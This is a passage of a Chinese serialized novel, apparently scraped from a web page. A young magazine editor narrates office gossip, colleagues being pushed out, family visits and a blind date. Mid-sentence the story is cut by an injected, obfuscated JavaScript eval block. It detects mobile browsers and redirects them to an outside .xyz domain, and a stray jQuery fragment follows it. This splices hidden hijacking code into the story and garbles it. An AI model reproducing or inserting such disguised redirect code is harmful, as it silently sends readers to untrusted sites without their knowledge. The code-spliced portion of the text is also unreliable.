    老栾说：“我家你嫂子就是心理素质不好，她就是高考的时候太紧张了，结果没考好。没考上大学。我这个人跟你们不同，我好坏无所谓。我什么时候都能睡地很好。所以，我考大学就很顺利。”


    我说：“你跟嫂子是高中同学啊？”


    他说：“是的。你嫂子是我们班的班花。我一眼就认定了她，非她不可。结果，我考上大学以后，我父母坚决不同意我们俩的婚事。嫌她是农村户口，死活不同意。”


    我说：“那你们后来怎么办的？”


    他说：“我跟我父母说了，非她不娶。他们两个老的要是不同意，我就跑到你嫂子她们家当上门儿女婿。我这样一说，我父母就没办法了。不过，你嫂子也有上进心。她后来考到了我们镇里的广播站里。”


    我说：“从校服到婚纱。你们的婚姻真是浪漫哈。”


    老栾说：“你嫂子这个人就是个马大哈。她出门儿，围巾、手套，都是我提醒她戴。等她把它们戴出去，全都能给丢掉。你嫂子自从我们结婚到现在，不知道丢了多少副手套。”


    我说：“人家都是女的细心，女的照顾男的。你们家是你比嫂子细心，你照顾嫂子，说明嫂子命好，过地幸福。”


    老栾说：“谁说婚姻里一定是女的照顾男的的？好男人也是会照顾老婆孩子的。小宋，你还没结婚吧？你记住，以后结婚了，不能给男人花钱。有钱给你的父母花。”


    我说：“好的，谢谢老栾大哥！您这么嘱咐我，真像我娘家的哥哥。”


    他说：“小宋也不小了吧？我一个朋友的儿子，是个外科医生，他离婚了，有一个小男孩儿，跟着他。不过，这个小男孩儿主要是他爷爷奶奶带。你们要是结婚了，肯定是要再生一个的。”


    我说：“我不会处理那么复杂的关系。我不能接受带小孩儿的。”


    老栾说：“那好吧。既然你不同意，那也不能勉强。我前几天还跟那个小伙子一起吃饭，我说这件事包在我身上。结果你不同意。看来，你们是没有这个缘分了。”


    我说：“谢谢老栾大哥！您为我费心了。”


    他说：“没事儿！我的确很喜欢那个小伙子，所以很想促成你们。”


    我说：“我不想找个有孩子的。我什么事情都喜欢一心一意的。太复杂的关系，我受不了。我哪怕是找个要饭的，我们也是一心一意的。我们的孩子得到的父爱母爱也是完整的。”


    老栾说：“好的！理解！”


    新员工入职汇报，我鉴赏的是《念奴娇》。我师父聂编辑和组内的几个编辑，拉了把椅子坐在台下听。


    “‘大江东去’，江，是什么样的江，是波澜壮阔的江，是烟波浩渺的江。可是词人用一个‘大’字，就让我们感受到了长江的雄壮，开阔。而且是那样不加雕饰、浑然天成。这一‘大’字看似毫不起眼，但是无比大气、朴拙。君不见刘邦《大风歌》，劈头一句‘大风起兮’，便让我们感受到风之大之雄之迅猛，它从过去刮到了现在，从都城刮到了故乡，把区区一个刘季刮成了帝王。苏轼的词，果然是要关东大汉执铁板铜牙来高唱的。”


    “滚滚长江东逝水。江水奔流不息，时间亦不舍昼夜，子在川上曰，逝者如斯夫。所以接下来的‘浪淘尽、千古风流人物’就很自然了。英雄人物当然不可能真地被浪花淘洗，他们是消逝在了历史的长河中。当然，一同被淘尽的还有他们的是非成败以及他们执着一生的英雄梦。”


    “古今多少事都付笑谈中。人生如梦，世事无常。这在多情者想来，会徒增多少感慨与悲凉。周瑜与曹操，固一世之雄也，而今安在哉？蜗角虚名，蝇头微利。人生在世，不过是寄蜉蝣于天地，渺沧海之一粟罢了。”


    “人生如逆旅，我亦是行人。可是人毕竟是凡胎肉身，人不可能真地逍遥自在，人处于浮世当中，无法自拔，只能与世推移，随波逐流，哪怕是黄粱一梦，你也只能去厮杀或是被厮杀。如此说来，人，是多么可笑可悲又无奈啊。”


    “君不见，周郎曹公皆尘土。‘千古’一词，既可以看做是词人对英雄人物被淹没在历史长河中的无奈感慨，也可以看做是词人对他们的崇敬与膜拜。毕竟，历经历史长河的冲刷，他们的肉身与时俱灭，可是他们的精神千古，浩气长存。这，是不是无能的人类，在无情的大自然面前的一种成功和胜利？”


    我那天讲地很流畅也很平静。我自认为很不错。等我汇报完毕，我师父聂编辑跟那几个编辑说：“马上组内开会。我们一起来评评小宋的汇报吧。今天，林大师也莅临指导了，我们也听听林大师的想法。”


    我们几个到了会议室，大家都落座了。


    刘编辑先说了：“小宋的语速太快，《念奴娇》的鉴赏换作是我，我可能不会这么鉴赏。”刘编辑跟我年龄差不多，她生着长长的黄瘦的脸儿，和细长的眼睛。


    聂编辑说：“小宋的语速快，是众所周知的。北方人，快人快语，蛮好的。以后开讲座的时候注意一点儿就行了。”


    林大师说：“我马上还有事儿，我先说几句吧。”


    聂编辑说：“大师你说。”


    林编辑说：“小宋讲的《念奴娇》呢，我听了以后，总体来说还是非常不错的。小宋的语言鉴赏能力还是很强的，文学功底很深厚。对词作的解读也精准到位，有自己独到的见解。至于语速快呢，恰恰说明她大脑运转地快，这个无可厚非。”


    聂编辑微笑着点点头说：“她自己准备的，我都没管。小宋的这次汇报呢，总体来说，还是很不错的。”


    林大师说完，跟我师父聂编辑说：“小聂，我先走了。我那边还有一个讲座，要赶时间。”


    聂编辑笑着说：“你去忙吧！”


    林大师走了以后，乌编辑说：“林大师又要出去走穴了？”


    聂编辑笑着说：“大师的活动多的。”


    乌编辑说：“组里的活动都不参加，天天出去走穴。”


    刘编辑说：“林大师是有出场费的人，跟我等不一样。”


    乌编辑说：“他赚了那么多钱有什么用？你问问他自己身上有几个钱？全被他老婆女儿管着，管地死死的，生怕他在外头招蜂引蝶。”


    聂编辑笑着说：“大师也愿意接受老婆的管辖。我也是，发了工资都给老婆，家里的吃喝拉撒都是她管。”


    乌编辑说：“林大师跟我们一起吃饭，也不行，人家都喝酒，他喝椰奶。最后我们给他起了个绰号，叫‘椰奶大师’。”


    聂编辑笑着说：“大师不怎么喝酒，这是真的。”


    徐编辑说：“他现在被他老婆女儿拿捏地死死的。不让喝酒就不喝酒。女儿生了孩子让他接送，他就接送。你说你一个姥爷你忙地什么啊，外孙，又不是你家的。后来他女儿生了二胎，让大孙女姓林，他这下跑地更勤快了。”


    我心里想，人家愿意交钱给老婆，愿意疼闺女，这不好吗？关你甚事？你居然在背后当众说人家。


    刘编辑说：“大师跟他夫人、女儿关系好呢。上次刷到他的视频，他跟他夫人还有女儿、外孙一起在家里拍的。”


    乌编辑说：“那条视频我也看到了，大师在家里穿的秋裤，他有没有穿内裤还不知道呢。”


    乌编辑的话，让大家都笑了。


    聂编辑说：“大师还是很儒雅的，怎么到你嘴里成了这个样子了。”


    乌编辑说：“他儒雅？你们是不知道。我们年轻的时候，跟他一起出差住在酒店里。晚上，我们出去逛去了，他不去。等我们半夜逛了回来，到酒店一看，他跟他老婆正睡在被窝里呢。他现在到处走穴。不知道的还以为他多么高尚。我们是知道的，这些人满嘴的仁义道德，一肚子男盗女娼。”


    我心里想，林编辑那时候年轻嘛，跟老婆感情好，去省会想带着老婆，这又有什么好说的。乌编辑平时很热心，怎么那么爱说别人的坏话呢。这些老家伙也真是的，跟个女人一样，平时到一起吃吃喝喝，背后一个个地都是恨不得贴对方的大字报，狠狠地揭发对方。这样的行为一时蔚然成风，我对编辑部的友谊更加怀疑了。既然是好友，那就应该荣辱与共，维护对方。像这样当面一团和气，背后互相攻击，那这所谓的友谊还有什么意思呢。


    乌编辑的话，大家不敢搭茬儿。只好另找话题。


    “李编辑，听说你买了辆豪车嘛！”刘编辑说。


    “啊，我还不敢上路呢！自己不敢开。”李编辑说。李编辑工作多年，尚是单身。买了新车，也没有人陪她一起练习。


    “新车买来，要练练手儿的。你呢，也是的，上班的时候上班，下了班大家都回家了，各忙各的去了。是吧？不行，我陪你练练吧。”乌编辑说。


    “那谢谢你了，乌编辑。”李编辑说。


    “不谢！我反正闲着也是闲着。不行，明天上午，你要是没事儿，我们就出去练练。我带着你练一上午，你下回就顺手儿了。”乌编辑说。


    “那好吧，乌编辑。耽误你时间了。”李编辑说。


    “乌编辑是咱们中文组的热心人。”刘编辑说。


    “是的呢，乌编辑是热心呢。平时大家有什么棘手的事儿，都找他出谋划策。乌编辑还特别会生活呢。你看他朋友圈里发的那些莴苣，长得多好啊。都是乌编辑自己种的。”李编辑说。


    “莴苣叶子也好吃的。”刘编辑说。


    “哎。那个莴苣叶子，我们一茬茬地薅着吃，吃了不少茬儿了。”乌编辑说。


    “老乌的莴苣长得旺盛，浇地都是你自己的尿吧。”徐编辑说，“你们家生活条件好啊，怪不得那些莴苣都长地油汪汪的。”


    大家哈哈大笑。


    “老乌这个人点子多的。点子不多能把那么漂亮的老婆哄到手嘛。”徐编辑笑着说。


    “乌编辑的夫人是漂亮的。”刘编辑说。


    “我嘛，年轻的时候也不赖。”乌编辑说。


    “你们都没见过乌编辑年轻的时候的样子吧？”徐编辑说。


    “没见过。”李编辑说。


    “标准的大帅哥，奶油小生！”徐编辑说，“我把他年轻的时候的照片发到群里，你们看看。”


    “哎呀，是标准的！”大家看了以后说。


    “那次是八五届的同学聚会，是吧。”乌编辑淡淡地说。


    “你高中是八五年毕业的？乌编辑？”李编辑问。


    “嗯。八五年，你们很多人那时候还没出生吧？你说时间过得多快。一转眼儿多少年过去了。现在都成小老头儿了。”乌编辑说。


    “以前是小乌，现在成了老乌了。”徐编辑说。


    “嗐！你还别说。现在我儿子都被叫作老乌了。人家打电话到我家，要找老乌，我不知道他要找谁，有的是找我儿子呢，有的是找我的。”乌编辑说。


    3.新雨、李涛涛，老向、老姜


    临近“十一”的时候，社里要举行一场秋季运动会，我们几个新来的被安排做了裁判。我们一群人，戴着帽子，拿着计时器，坐在铁架子搭成的看台上。


    有一个斯斯文文的男生问道：“我是第几跑道啊？”


    “你是第三跑道。”已经工作好几年的夏萍说。


    “哦，我眼睛近视地厉害，幸好你提醒我。”那个斯斯文文的男生说。


    那个男生看起来温柔和气，还有一团稚气。


    我问他说：“你也是新来的吗？你叫什么名字啊？”


    他说：“我叫新雨。我是去年来的。我在英文组。”


    我说：“你说话这么斯文，是南方人吧？”


    他说：“不是。我是东北的。”


    我说：“啊？你的气质跟产地严重不符啊。”


    他笑着说：“是的。你看李涛涛，高大威猛，他像不像东北的？”


    我说：“嗯。他倒是像是个彪悍的东北人。”


    李涛涛听了我们的话，转过身来说：“我才不是东北的呢，我可是土生土长的金河人。”


    李涛涛的脖子上，挂着一个崭新的相机。


    我说：“你这相机蛮贵的吧？”


    他说：“万把块钱吧，大学里买的。”


    我说：“啊？你大学里都买得起这么贵的相机了？”


    他说：“我老爹给我买的。这年头，谁花自己的钱啊。”


    夏萍说：“李涛涛的爸爸是金河市有名的土豪，你不知道吧？”


    我说：“不知道。”


    李涛涛说：“提他干嘛？我本来在海坝市呆地好好的，他非把我给调过来，好让我在他眼皮子底下。”


    新雨说：“他让你在他眼皮子底下，他罩着你，还不好啊。”


    李涛涛说：“好什么啊？什么事儿都被他安排地好好的，没意思。”


    新雨说：“接下来，就是结婚生子，继承家族企业了。”


    李涛涛说：“我爸房子都给我买好了，在苏格兰印象，顶楼，你们有空儿去我那里看星星去。”


    李涛涛长得膘肥马壮，脸上胡子拉碴，黑沉沉的，一双小眯缝眼，戴着个黑框眼镜，在阳光下一闪一闪的，看起来像是个老成的中年干部。


    我说：“你哪年来的啊？”


    他说：“我也是今年才来的。”


    我说：“我没见过你。”


    他说：“我们不在一个部门。我在财务部。”


    新雨说：“你是不是觉得他像个老干部啊？”


    我说：“有点儿。我一点看不出他是才毕业的。倒是你，像是刚毕业的。”


    李涛涛说：“你们都被他的外表给欺骗了。他82的，比我们都大。”


    我问李涛涛：“你是八几的啊？”


    他说：“我八五的。”


    我说：“那你比我们都小呢。”


    李涛涛说：“是的啊，我是败给了气质。我气质比较成熟。”


    新雨说：“没办法，基因里自带的，土豪气质。这泼天的富贵气，想挡都挡不住。”


    半年过去了，年终考核的结果出来了。


    一大早，我刚进办公室，聂编辑就跟我说：“小宋，你的业绩不错啊。在中文组，除了老姜，就是你了。”聂编辑说这话的时候，正站在办公室里，低头看着他手里的一份文件。


    我说：“啊？考核结果出来了呀？都是师父指导的好。我跟姜编辑还差着一大截呢。”


    我师父说：“你的业绩是实打实的。老姜的那些文章都是搞私活儿搞出来的。这么大年纪了，还那么想不开。自己搞私活儿，还不拿出来跟组里的同事分享。”


    戴眼镜的丁编辑说：“老姜现在怎么这样了？他都快退休了，还搞这鬼名堂，这不是让人瞧不上吗？”


    我师父说：“老姜以前不是这样的。这几年不知道为什么，紧张成这个样子了。”


    丁编辑说：“是的啊。老姜以前多潇洒啊，他天天下棋，下棋下地都入了迷了。孩子跌倒了都不扶，他老婆一生气，把他的棋盘跟棋子一起扔到下水沟里去。他心疼地要命，自己再去一颗一颗地摸上来。”


    我说：“老姜想搞私活儿，也是人家有本事。换做是我，我想搞私活儿还没那个胆子呢。”


    丁编辑说：“小宋这次业绩搞得好，老聂脸上也有光了。你看你们师徒二人，多豪迈！”


    老聂说：“都是她自己搞的，我忙，我也没怎么指导。”


    丁编辑说：“这次考核，业绩最差的是老向。他被调到后勤了。”


    老聂说：“嗯。”


    我说：“分给他负责的版面本来就是那些冷门的版面啊。分给他的资源是最差的，他的业绩当然也是最差的了。”


    老聂说：“领导管你这些呢。他们只看结果。”


    我说： “这也太不讲理了。”


    吴悠悠说：“刚才在食堂门口儿，看到老向了。他站在那儿，给那些来开会的编辑发饭票，我看到他，心里可不是滋味儿了。老向以前也是个编辑，一介书生，被折辱成这个样子了。”


    我说：“是的。唇亡齿寒。我们曾经是同一个战壕里的。看到老向被调到后勤，心里真是五味杂陈。”


    我师父聂编辑说：“你们瞎操什么心啊？人家老向还不想在编辑部呢。人家在后勤，工作轻松，没有压力，有什么不好。就是钱少拿一点吧。”


    丁编辑说：“说是这样说。这几年，《小坛》对老向的打击蛮大的。先是把他爱人调走，好好地夫妻俩儿，非得给人家拆开。谁讲情都没用。自从老向的爱人被调走以后，老向就没有工作劲头儿了。今年再把他搞到后勤。你说正常人哪吃得消啊。”


    老聂说：“他们当领导的，管你这些呢。”


    吴悠悠说：“上次开会，任社长还说，老向的老婆到了《且戒》以后，发展地蛮好的。他还觉得自己功德无量，干了件天大的好事呢。”


    我师父说：“那是。他们还不是拖着屁股爬楼梯，自己抬自己。”


    一天，我在社里正走着，看到老向了。老向的个子高高壮壮，得有一米九的样子。老向跟他爱人都是东北人。老向大概是中年发福了，他长得胖乎乎的，面皮白白净净，干净的小平头，头发一根一根地向上竖立着。他的性格是温吞吞的，不急不躁，一副波澜不惊的样子。我走到他跟前的时候，喊他一声：“向编辑！”他立马停下脚步，站定，弯下腰来，他的厚重高大的身躯像是天幕一样垂下来，他的腰弯成九十度，向跟他打招呼的人深深地鞠一躬，才站直身子走开。


    快要过年了，我跟我妈妈打电话的时候，我妈妈问我说：“你在编辑部成绩怎么样啊？”


    我不高兴地说：“我成绩还好，你以后不要再问我的成绩了。从小到大，天天问我的成绩，成绩成了你对付我的杀手锏了。现在我工作了，你还来问我的成绩。你还想控制我一辈子啊。”


    呵呵！这以后，我妈妈再也没有问过我的成绩。也许这就是她说的“打得一拳开，免得百拳来”吧。


    过年的时候，我去我妹妹家找她玩。她家人都去青羊山卖菜去了，我妹妹自己在家。


    我问她：“两个小孩儿呢？”


    我妹妹说：“都在睡觉呢，还没起。”


    我说：“我去看看子涵去。”


    我妹妹跟我一起到了她的房间里，小宝宝醒了。我妹妹从被窝里抱起那个小宝贝，像是晃布娃娃一样晃了晃说：“你看，这是什么玩意儿！”那个小宝贝实在是太小了，她像一条小鱼一样拢着嘴。她的眼睛很大，估计那时候，她还看不清楚吧。她的眼睛痴痴地张着，像是在看什么，又不像在看什么。


    我说：“小宝宝好小啊，我都不敢抱了。我不会抱！”


    我妹妹说：“别抱！我都不想抱！”


    我说：“雪寒呢？”


    我妹妹说：“雪寒，她奶奶夜里搂着睡的。这会儿还没醒呢。我一个人夜里照应不过来。”


    正说着，东屋的房间里，响起来小女孩儿的声音：“妈！妈！”


    “雪寒醒了！”我妹妹说。我们一起到了东屋。东屋里，对门儿放着一张床。床底下，是一包包的给小孩儿换下来的尿不湿。有的里头还包着屎。


    我妹妹看了我一眼说：“她奶奶一大早就起来去卖菜了，根本来不及拾掇。”


    我说：“雪寒呢？怎么看不到雪寒。”


    我妹妹说：“这不是！小孩儿小。在被窝里看不出来。”


    我定睛看了看，一个小猫儿似的小女孩儿在被窝里抬着头。她是趴着睡的。才一岁多的孩子已经很独立很懂事了。她老老实实地呆在被窝里，顶着被子，等着妈妈来给她穿衣服。


    “雪寒醒了？来！妈妈给你穿衣服。没办法，照顾不过来。”我妹妹说。


    “我来帮你抱着老二吧。”我说。


    “没事儿，放小车里就行。这不有小车嘛。还是生雪寒的时候，咱家给买的。”


    我说：“那我帮你把地上的垃圾收拾收拾吧。”


    我妹妹无所谓地说：“没事儿。”我去把地上的那些尿不湿给捡起来。


    “这些尿不湿扔到哪啊？”我说。


    “你扔到西边天井里吧，那里有个白色的垃圾箱，看到了吧？是个泡沫箱子，专门儿装菜的。”


    “看到了。里头都是尿不湿，还有屎。”我说。


    “先放那，都是小孩儿拉的。等大响赶集回来再去倒垃圾。大响每天赶集回来都去给小孩儿倒垃圾。”


    夏天到了，又到了考核的时候，这次，我的业绩是中文组第一。米娜也很好，她是英文组第三。开会的时候，我们几个业绩优秀的走到前面，任社长亲自给我们发了奖状，那奖状就是社里内部的，没什么含金量。此外，任社长还奖励了我们每人一个信封，信封里是二百块钱。


    散会了，米娜笑着跟我说：“小宋，你今年的考核业绩蛮厉害的。”


    我说：“刚来嘛，总得冒个泡吧。”


    她说：“你这次冒了个彩色的泡泡！”


    她说：“我们英文组的新雨走了。”


    我说：“我不知道。他不是好好的吗？怎么走了？”


    米娜说：“听说，他跟领导拍桌子了。说领导看不起他，不肯用他。”


    我说：“他被发配到哪里去了？”


    米娜说：“他被直接调到区外的编辑部了。”


    我说：“那他的老婆孩子怎么办？”


    米娜说：“他老婆跟他离


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137802|180320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    婚了。”


    我说：“天哪，太惨了。因为一份工作，最后落地妻离子散。”


    米娜说：“我们新来的三个一起，请我们的师父吃顿饭吧？”


    我说：“行啊。你跟欧阳杰说了吗？”


    她说：“还没有呢！要不回头你见了他问问他吧。”


    我说：“好的。”


    等我见了欧阳杰，我说：“欧阳，米娜说，我们三个一起出份子请我们的师父吃饭。”


    欧阳杰说：“我不想请。要请你们请吧。我跟你们的师父都不是一个组的，我跟他们没话说，怎么跟他们一起吃饭啊。好尴尬。”


    我说：“你说的也对。你要是不去，我也不去了。我私下里对我师父恭敬点，给他送点小礼物就行了。你们的师父我也不认识，我也觉得跟他们一起吃饭，蛮尴尬的。”


    欧阳杰说：“有什么好请的。我不想请。”


    我说：“米娜说，感谢师父对我们的栽培。”


    欧阳杰说：“我自己上过大学，我不需要谁来栽培我。再说了，他们的水平还没我强呢！写得什么东西啊？还拿出来讲！真想把他们给干下来，我自己讲！”


    我笑着说：“你太敢说了。我都不敢说。我吃个饭，她们的嘴还不闲着，还得对我阴阳怪气，冷嘲热讽的。”


    欧阳杰说：“那些老妇女，庸俗至极，跟街头巷尾的八婆毫无区别，还文化人呢！”


    我说：“何止是毫无区别，简直是有过之而无不及。你怼回去吧，惹她不高兴，她会变本加厉，到处八卦你。她是老员工，在《小坛》早就盘根错节了，不要说那些大叔大姨，就是领导，也是听她的信她的。你惹了她，一堆人都对你有看法。你不怼回去，忍着憋着吧，只能白白地受气。”


    欧阳杰说：“所以，我不去食堂吃饭，我自己去把饭打回来去宿舍吃。省的看到他们！”


    我说：“我也是的，我以后也不想去食堂吃饭了，我一上午累地要命，我吃个饭还得跑到她们跟前装孙子。她们嚼着鸡骨头说些鬼话，我还得毕恭毕敬地听着。真是心累。我宁可自己回宿舍吃个泡面，都比跟他们一起吃饭强。我精神上是自由的。”


    欧阳杰说：“上次，一个女的要给我介绍对象。给我介绍了一个脑子有问题的，说她们家里有别墅。哼！我稀罕她们家的别墅吗？我自己以后不会买吗？”欧阳杰说着说着，他黑黑的眉毛竖了起来，透过他有些黑黑的皮肤，我看到他的脸腾地红了。我知道他这是激愤了，生气了。


    我说：“你们男编辑吃香的。这儿的小姑娘都是独生子。又年轻。”


    欧阳杰说：“年龄倒不是问题。要是自己谈的，大我五岁都没关系。关键是她们给我介绍个脑子有问题的。”


    我说：“介绍个傻子谁高兴啊。怪不得你会生气。”


    欧阳杰说：“我当时就生气了。我气地面红耳赤的。差点跟她发火！”


    我看看欧阳杰有些黑黑的脸，笑着跟他说：“你居然敢跟她们生气。我可不敢。不过，你皮肤黑，你生气了也看不出来！”


    “你怎么这样说我！我黑碍你什么事！”欧阳杰虎着脸说。


    乖乖！生气了。我不敢说话了。我打窗户看看大门口儿。远远地，李涛涛骑着摩托车，载着社里的领导飞驰而过。


    我说：“欧阳，那不是李涛涛吗？他刚才骑着摩托车带着吴主任过去了。他们这是去哪儿赴宴回来了？”


    欧阳杰硕：“李涛涛现在是编辑部副部长了。混地风生水起地。他天天跟那些主任一起喝酒打牌，称兄道弟的。”


    我说：“他本来就长得像个老干部，现在有了头衔，终于形神兼备，形神合一，形神一体了。”


    新雨走了。杀鸡儆猴，唇亡齿寒。从工作的第一年开始，我就对《小坛》不再有安全感了。人非圣贤，孰能无过。那些因为跟领导说了几句实话真话大话而“表现不好”，被悄悄弄走的，我不知道都经历了什么。我以前以社为家，现在做不到了。杂志社不是我的家。我不知道哪天，领导看我不爽，就会把我弄走。把我弄走，我也不会赖着不走，我后面办公室里还有一堆书，我要去把它们清理了。我就来到后面的办公室，我推开那几扇柜子门儿，把我的一堆书，用我的自行车一趟趟地拖走。放到宿舍里。这样，一旦被《小坛》发配，我就可以迅速撤离，绝不磨磨唧唧，也不留下任何痕迹。


    我把我的书清完以后，看到旁边办公室的门开着，是老姜在里头。他在摆弄他的打印机，弄地两手都是油墨。


    我说：“老姜，你在忙吗？”


    他说：“是啊。你来干什么的？”


    我说：“我来清理我的书。你还会摆弄打印机呢？”


    他说：“我这是连供的。可以彩色打印。”


    我说：“听说新雨走了，你知道吗？”


    他说：“我不知道。他是新来的吗？”


    我说：“比我早一年。”


    他说：“他还没等到混个脸熟就被弄走了啊？”


    我说：“是的。”


    他说：“《小坛》就这样，之前也有几个被弄走的。老向不是被搞到后勤了吗？他们现在开始搞我了。”


    我说：“你都快五十了，老员工了。怎么还会搞你呢。人家老王，上班时间睡觉打呼噜，不是也没事儿吗？”


    他说：“我们跟老王不一样。谁能跟他比。他跟老黄是同学，他们从草根的时候就一起混的。”


    我说：“你不是本地的吗？你在《小坛》也不少年了吧？你还害怕吗？”


    他说：“我是安徽的。我家儿子上初中了，我才应聘过来。我以前在安徽蛮好的。我家在桐城，桐城派你知道吧？”


    我说：“嗯，听说过。”


    他说：“我以前的杂志社也是四星级的。里面的员工很多学历也很高，也培养了很多人才。”


    我说：“那你怎么还要来这里呢？”


    他说：“那时候就想出来看看嘛。就跟我爱人一起出来了。我到了《小坛》，为《小坛》做了那么多事，社里30周年社庆的时候，图书室里那些文案都是我搞的。《小坛》一块块石头上的文字都是我写的。到最后，领导给我什么了？”


    我说：“啊？石头上的那些诗情画意的文字都是你写的啊？我还以为是请了外头的人写的呢！”


    他说：“全是我写的。”


    我说：“嗯，仔细想想，还真是你的字体。老姜，你真有才！你还会写诗呢！我也喜欢写诗！”


    老姜说：“在《小坛》，会写诗有什么用。领导不懂得欣赏，还不是对牛弹琴。”


    我说：“是的啊。那个乌主任还特别喜欢写诗。天天炫耀，发朋友圈，人人夸赞。他写得什么东西啊！顶多就是顺口溜儿！也没有韵味儿，也不押韵，臭死了！比你写地假远了！”


    4.黄林军


    任社长开会说：“新员工要有危机感。一个单位，让员工没有安全感就是给员工最大的安全感。你不要脚踩西瓜皮，滑到哪里是哪里。人家都在奔跑了，你还在原地踏步。老员工，也不要只想拿工资，不想做事。把事情全推给小年轻的。一到做事的时候，你就年纪大了，做不动了。要是比赛搬金砖，你保证比小年轻的搬地快！大家都是《小坛》的一员。单位可以没有你，但你不能没有单位。单位是你跟社会交流的桥梁，没有单位你什么也不是！”


    我为单位兢兢业业，可是我真地不喜欢这样。我们要以社为家，可是家不是可以随便发配人的地方。如果一个人在单位里觉得朝不保夕，天天处在危机之中，那他在单位也只是为了生存，他不会真地爱这个单位。因为单位不爱他，对他不够包容，对他太残酷。那些被发配走的人，对现存的人来说，也起到很好的杀鸡儆猴的作用。杀鸡儆猴固然是让猴子知道了尖刀的厉害，可是也让猴子知道，如果他不老实，或是不小心犯了什么错，那把尖刀也会同样的来杀它。那这猴子还会爱它身处的所在吗？


    我读了这么多年的书，我也有学问人的清高和热血。我也想真正地投入到工作中去，去爱我所属的单位，爱他的一砖一瓦。真心地热爱他，维护他。可是，如果，我知道了，他把我身边的兄弟姐妹悄悄地扔了出去，我一个不小心，下一个被扔出去的就是我，我还会那样爱他吗？我想爱也不敢爱了，因为我怕了。爱，应该是自私的，永恒的。彼此对彼此都是这样。如果我知道，我脚下的一砖一瓦有一天将会不再是我的，你告诉我，你让我还怎么爱他？


    也许，我这个问题本来就是太傻了。或许，我本来就应该知道，我们跟单位之间本来就不应该有什么爱吧。


    任社长把我叫到走廊里跟我谈话。


    他说：“小宋，目前看来，你的工作能力很强，性格也很好。社里很看重你，决定把你当储备干部来培养。”


    我懵懵懂懂地说：“谢谢任社长。”


    任社长语重心长地说：“好好努力吧！”


    我说：“其实，我只想努力工作。我只会审稿子，写稿子，其他的事，我觉得我不太适合。做储备干部可能要应付很多社会上的事儿。我是个农村人，我的城市化进程要比米娜他们晚二三十年呢。其实，我觉得米娜她们更合适。她们的年龄也比我小。”


    任社长说：“农村人有农村人的好。农村人更朴实。目前来看，你的各方面能力是最强的。你性格急，这是好事。性子急了，才能干成事儿。上次，我看到你们宿舍楼下停着一辆车，是你男朋友的吗？”


    我说：“不是，我还没有男朋友呢。”


    他说：“我听说《且戒》杂志社有一个编辑，姓黄，叫黄林军，蛮老实的一个人，还没有结婚。我回头给你介绍介绍吧。”


    我说：“谢谢任社长。”


    他说：“不用谢。你一个女孩子在外地，人生地不熟的，要不是有人帮着你一点，你的人生大事就被耽误了。女孩子耽误不起的。你今年多大了？”


    我说：“我今年三十岁了。”


    任社长说：“你看，人家米娜才二十五岁，人家早就结婚了。”


    我说：“米娜是本地人，还是独生子，我是农村出身的，没办法跟人家比。”


    任社长说：“没事儿的，人都是一步一步熬过来的。你看我们那一代，不都是穷苦农民出身嘛。老言，家里穷地只剩下一张稻草铺的床了。你再看他现在的吃穿打扮，跟以前比，简直就是换了一个人。”


    我说：“知道了。任社长。我就是担心工作过不了关，其他的不怎么担心。”


    任社长说：“别怕。等你熬过来，到我们这个年纪，你也可以游刃有余。”


    我似懂非懂地说：“嗯。”


    任社长说：“马上，社里准备去团建，你去吗？”


    我说：“我晕车，不想去。”


    任社长说：“这样吧，我给你找个活儿。你就在社里待着，如果有人来，你负责接待一下。算你加班，回头到老言那里领一百块钱。”


    我说：“好吧。”我想，还是因为我是农村人，还是因为我家穷，所以，领导也还是把我当一个穷人来打发的。


    这以后，我在本职工作之外，又多出了很多莫名其妙的行走。今天，社里通知我去培训，我立马放下工作，像是一个流浪的女人，跑到陌生的大街上，坐上城际公交车，莫名其妙地跑到一个叫尔康尔泰的酒店去培训。明天，不知道哪个单位要举行一个什么活动，我又要一个人问着路，穿大街，过小巷，好容易摸到那里，莫名其妙地跟几个其他单位派来滥竽充数的人站在一起，莫名其妙地听一个莫名其妙的人，讲了一堆莫名其妙的话，然后大家一起拍个照，原路返回。过了一些时候，我又举着一根枯黄的竹竿挑着一个大红的横幅，打上车，穿过一群农民伯伯在忙碌的田间小路，来到一个有铜像的坟墓前头，去祭奠一个我根本就不知道是谁的爱心老华侨。


    我是农村出来的，我不想抛头露面，我不喜欢这样的生活，我想静静地写文章，跟文字打交道。我都三十岁了，是个中年妇女了，我拿着个竹竿挑起来的横幅，东跑西颠的，回到办公室，还得挥舞着那个竹竿到处找地方放置，我觉得很尴尬，我又没有对交际、对仕途的渴求，我不想当什么储备干部了，可是我又不好意思跟任社长讲。


    第一次跟黄林军一起吃饭，我们约在一个叫“兄弟鱼馆”的小饭馆儿里，距离《小坛》很近。


    他第一次跟我通话时，我听到他那比娘还要娘的声音里，就有些要揍他的冲动，因为那真的很娘：“大——省——”。在这种娇滴滴的声音下，我变地更加斩钉截铁、雷厉风行了。


    我有点恼火地问他：“你到哪儿了？”


    他听到我这个女汉子的声音，显然有些惊讶。


    他顿了顿，说：“我在饭馆儿门口啊！”


    我有些不耐烦地朝小饭馆儿门口走去。


    可是他的外貌还不错，整体观感很好，他一米七五，白白胖胖，三十七八，事业单位，看起来是一个标准的可以选做男人的男人。我就以为我这个三十岁的大龄剩女捡到了宝了。


    他跟我一起走着，有一些女孩儿的羞涩，我以为学文科的男人大抵是这样。


    我们坐下以后，他点完了菜，表情有些正式地跟我说：“我还有件事儿没跟你说。”


    “什么事儿啊？”我说。


    “你先吃饭！”他又不说了。


    我越发好奇：“到底是什么事儿，你说呗！”


    他在饭前这样故弄玄虚，我着急了。


    我跟他开玩笑说：“你不是有个儿子吧？”


    “那倒没有！”


    “那你是欠了钱？”


    “也没有！”


    “那是怎么回事儿，有什么不好说的！”


    他眼睛看着饭桌，一脸正经地说：“我那方面不太好。”


